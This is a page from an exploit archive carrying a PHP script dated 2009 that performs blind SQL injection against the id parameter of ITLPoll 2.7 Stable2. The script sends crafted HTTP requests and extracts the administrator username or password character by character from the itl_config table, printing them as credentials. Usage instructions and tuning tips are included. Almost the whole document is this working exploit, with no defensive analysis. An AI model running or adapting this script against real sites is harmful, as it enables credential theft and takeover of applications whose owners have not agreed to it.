[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : ITLPoll 2.7 Stable2 (index.php id) Blind SQL Injection Exploit
# Published : 2009-01-26
# Author : fuzion
# Previous Title : Simple Machines Forum <= 1.1.7 XSRF/XSS/Package Upload Vuln
# Next Title : E-ShopSystem Auth Bypass / SQL Injection Multiple Vulnerabilities
<?php
function usage ()
{
echo "nITLPoll v2.7 Stable2 Blind SQL Injection Exploit".
"n[a?¢] Usage : ./itlpoll.php hostname path <username or password>".
"n[a?¢] Ex : ./itlpoll.php localhost /itlpoll password".
"nn";
exit ();
}
function query ($func, $chr, $pos)
{ //replace 1' with a valid poll number if you have problems. See hostname/path/?Archive for a list of polls.
$query = "1' AND ORD(MID((SELECT IFNULL(CAST({$func} AS CHAR(10000)), CHAR(32)) FROM itl_config WHERE id = 1),{$pos},1))='{$chr}";
$query = str_replace (" ", "%20", $query);
$query = str_replace ("'", "%27", $query);
return $query;
}
function exploit ($host, $path, $func, $pos, $chr)
{
$chr = ord ($chr);
$fp = fsockopen ($host, 80);
$query = query ($func, $chr, $pos);
$request = "GET {$path}/index.php?id={$query} HTTP/1.1rn".
"Host: {$host}rn".
"Connection: Closernrn";
fputs ($fp, $request);
while (!feof ($fp))
$reply .= fgets ($fp, 1024);
fclose ($fp);
if (preg_match ("/EXPIERED/", $reply))
return false;
else
return true;
}
if ($argc != 4)
usage ();
$host = $argv [1];
$path = $argv [2];
$func = $argv [3];
$key = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; //add a bigger char set if you can't get the username
$pos = 1;
$chr = 0;
echo "[a?¢] Creds: ";
while ($pos <= 32)
{
if (exploit ($host, $path, $func, $pos, $key [$chr]))
{
echo $key [$chr];
$chr = 0;
$pos++;
}
else
$chr++;
}
echo "n";
?>
# www.Syue.com [2009-01-26]